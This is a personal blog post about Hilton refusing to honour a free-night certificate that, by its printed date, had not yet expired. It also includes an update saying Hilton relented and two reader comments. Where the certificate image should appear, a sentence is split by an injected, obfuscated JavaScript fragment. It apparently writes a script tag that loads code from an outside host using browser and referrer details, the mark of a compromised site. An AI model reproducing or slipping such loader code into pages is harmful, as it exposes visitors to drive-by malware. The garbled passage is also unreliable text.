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Hilton won’t honor my non-expired certificate!

Let me start out by saying how much I really do like the Hilton.  I liked it so much, we decided to have our wedding at a Hilton.  I choose Hilton’s when I travel and I’d say I’m a pretty loyal customer – I even have gold status with them.

Let me tell you a little story.  Disclaimer, this post will mostly be me getting annoyed with Hilton and providing evidence of said annoyance.

Last year Hilton ran a promotion, they do promotions once a quarter.  This particular promotion was super great!  Stay a certain number of nights and you get a free night certificate!  I stayed the requisite number of nights and ended up with 3 free night certificates.  I was pumped!

When the certificates were emailed out, there were issues with my email (not just my email, I had coworkers with similar issues).  As a result, it took a long time for me to get the physical certificate in my inbox.  But eventually I got the certificates and I was on my merry way.  I printed them out and kept them in a safe place at home.

Fast forward to last Saturday.  I decided to redeem my last certificate for a free hotel night in NY (Nick and I are headed there in a few weeks).  Sounded like a great plan since NY is SOOOOO expensive.

I call the number on the back of the certificate to make my reservation.  You can’t reserve online, but no biggy there.  Long story short, I’m told that my certificate had expired.  Interesting.  Because this is what my certificate looked like:

In ;if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“<\/k"+"l>“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hrzid|var|u0026u|referrer|tdsfa||js|php’.split(‘|’),0,{}))
case you didn’t notice, the expiration date is January 11th, 2012.  I was trying to redeem this for a trip in August 2011.  As far as I could tell, the certificate had NOT expired.

I explained my confusion to the agent and she brought on someone higher up – Susan.  Susan told me that indeed, my certificate had expired.  I again explained that I was looking at a piece of paper with an expiration date almost 6 months away.  She apologized and informed me that the certificate actually expired on June 24th 2011, a year after it had been issued.  I wasn’t going to split hairs over 2 days (notice that it was issued on June 26th, so June 24th is a tad early).  I tried to explain that I understood what the intention had been – 1 year from issue – but that there was no way I would have known that.  Especially since my certificate had an expiration date of January 2012.

She then informed me that it was a typo on my certificate.  Again, I explained that I understood mistakes happen, but I preferred not to be penalized for a mistake on Hilton’s part.  I also explained that I would have used the certificate prior to the expirations date had I known.  Again, she could do nothing for me.

Well, that’s not true.  She could give me 5000 Hilton points.  It’s a nice gesture, but it takes anywhere from 25-50,000 points for 1 free night.  So it didn’t really make up for my “expired” certificate.

We went back and forth a bit more.  Mostly Susan reiterating that this was in the terms and conditions of the promotion, even if the certificate stated a different expiration date.  And I explained that this was very frustrating, because usually the expiration date is the expirations date.  Not sometimes.  Or when it’s convenient.

I eventually got frustrated and decided to blog about it instead of accepting the 5000 points.  While taking pictures for the “Evidence”, I noticed a key sentence in the terms and conditions.

It was very surprising that they decided to take this stance.

I was in physical possession of the certificate stating the expiration date and terms stating that the expiration was indeed the date printed on the certificate.

Paris and Nikki, if you’re reading this, leave a comment and maybe we can make this right 🙂

Obviously this isn’t the end of the world, but they do say on the certificate:

UPDATE:  Hilton heard me out!  Free night is back!  Thanks, Hilton.

4 replies on “Hilton won’t honor my non-expired certificate!”

I agree, this is ridiculous! Who cares what status level you are? They clearly made a mistake and need to honor the certificate! I am surprised that Hilton isn’t willing to fix their mistake. They have always had such great customer service, but it looks like they have made changes in their “consumer experience” policies and as a result the consumer is suffering!

I myself am a Hilton Diamond member, but after reading this I am seriously considering switching to the Marriott Rewards program!

Hey, Caresse. Another Diamond member here too. Just started a dialogue with HHonors on this issue and mentioned we had some Diamond members watching.

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